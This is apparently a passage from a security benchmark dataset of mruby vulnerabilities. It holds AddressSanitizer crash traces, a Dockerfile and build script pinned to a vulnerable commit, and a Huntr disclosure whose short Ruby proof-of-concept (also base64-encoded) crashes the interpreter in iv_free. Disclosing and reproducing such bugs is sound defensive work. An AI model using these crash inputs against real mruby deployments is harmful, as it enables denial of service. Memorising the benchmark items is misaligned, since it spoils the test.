#10 0x7a46f7 in mrb_init_mrblib /home/fuzz/fuzz/mruby/build/host/mrblib/mrblib.c:2328:3
#11 0x727785 in mrb_init_core /home/fuzz/fuzz/mruby/src/init.c:50:3
#12 0x643213 in init_gc_and_core /home/fuzz/fuzz/mruby/src/state.c:35:3
#13 0x6401c1 in mrb_core_init_protect /home/fuzz/fuzz/mruby/src/error.c:575:5
#14 0x642f37 in mrb_open_core /home/fuzz/fuzz/mruby/src/state.c:53:7
#15 0x6433fd in mrb_open_allocf /home/fuzz/fuzz/mruby/src/state.c:92:20
#16 0x64339b in mrb_open /home/fuzz/fuzz/mruby/src/state.c:76:20
#17 0x4c9cf8 in main /home/fuzz/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:278:20
#18 0x7ffff7c4c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzz/fuzz/mruby/src/vm.c:1167:5 in hash_new_from_values
Shadow bytes around the buggy address:
0x0c327fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c327fff8080: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
0x0c327fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff80b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff80c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff80d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3269441==ABORTING
poc_uaf_s.rb
Impact
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.
Relevant Links:
https://github.com/mruby/mruby
https://raw.githubusercontent.com/JieyongMa/poc/main/mruby/poc_uaf_s.rb
https://github.com/mruby/mruby/blob/2e0d371ef19d3964f1edb4ace07a5d03c59a3c0a/src/vm.c#L1167
|
[] |
[
{
"sha": "99e6df06",
"url": null
},
{
"sha": "aa7f98dedb68d735a1665d3a289036c88b0c47ce",
"url": "https://github.com/mruby/mruby/commit/aa7f98dedb68d735a1665d3a289036c88b0c47ce"
},
{
"sha": "ac79849fde3381e001c3274fbcdda20a5c9cb22b",
"url": "https://github.com/mruby/mruby/commit/ac79849fde3381e001c3274fbcdda20a5c9cb22b"
},
{
"sha": "2e0d371ef19d3964f1edb4ace07a5d03c59a3c0a",
"url": "https://github.com/mruby/mruby/commit/2e0d371ef19d3964f1edb4ace07a5d03c59a3c0a"
}
] |
mruby.cve-2022-0326
|
mruby/mruby
|
adb16fc6dfc27a39b783782e3a12d877e71c78ac
| 2022-01-20T19:51:07
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout adb16fc6dfc27a39b783782e3a12d877e71c78ac
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/795dcbd9-1695-44bb-8c59-ad327c97c976
## Description:
Description
There is a NULL Pointer Dereference in iv_free (src/variable.c:232:20). This bug has been found on mruby lastest commit (hash 31fa3304049fc406a201a72293cce140f0557dca) on Ubuntu 20.04 for x86_64/amd64.
Proof of Concept
6.times{3.times{%]#{{}until-break
b={}
[**0,m:0]
s=0}]}}
Steps to reproduce
1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake
2- Use mruby to execute the poc:
$ echo -ne "Ni50aW1lc3szLnRpbWVzeyVdI3t7fXVudGlsLWJyZWFrCmI9e30KWyoqMCxtOjBdCnM9MH1dfX0=" | base64 -d > poc
$ build/host/bin/mruby ./poc
/home/faraday/mruby/src/variable.c:232:20: runtime error: member access within misaligned address 0x000000000001 for type 'iv_tbl' (aka 'struct iv_tbl'), which requires 8 byte alignment
0x000000000001: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/variable.c:232:20 in
/home/faraday/mruby/src/variable.c:232:20: runtime error: load of misaligned address 0x000000000009 for type 'mrb_value *' (aka 'struct mrb_value *'), which requires 8 byte alignment
0x000000000009: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby/src/variable.c:232:20 in
AddressSanitizer:DEADLYSIGNAL
=================================================================
==10997==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000009 (pc 0x000000802ae6 bp 0x7ffc41eb8600 sp 0x7ffc41eb85d0 T0)
==10997==The signal is caused by a READ memory access.
==10997==Hint: address points to the zero page.
#0 0x802ae6 in iv_free /home/faraday/mruby/src/variable.c:232:20
#1 0x802f59 in mrb_gc_free_iv /home/faraday/mruby/src/variable.c:278:5
#2 0x6146ae in obj_free /home/faraday/mruby/src/gc.c:856:5
#3 0x607e21 in free_heap /home/faraday/mruby/src/gc.c:433:9
#4 0x60793c in mrb_gc_destroy /home/faraday/mruby/src/gc.c:442:3
#5 0x665405 in mrb_close /home/faraday/mruby/src/state.c:195:3
#6 0x4ca4ee in cleanup /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:262:3
#7 0x4c662a in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:368:3
#8 0x7f36f27bd0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x41c84d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41c84d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/variable.c:232:20 in iv_free
==10997==ABORTING
Running the same script with a release build (without asan) results in a segfault due to the invalid dereference.
Acknowledgements
This bug was found by Octavio Gianatiempo ([email protected]) and Octavio Galland ([email protected]) from Faraday Research Team.
Relevant Links:
https://github.com/mruby/mruby
|
[] |
[
{
"sha": "795dcbd9",
"url": null
},
{
"sha": "b611c43a5de061ec21b343967e1b64c45c373d7e",
"url": "https://github.com/mruby/mruby/commit/b611c43a5de061ec21b343967e1b64c45c373d7e"
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.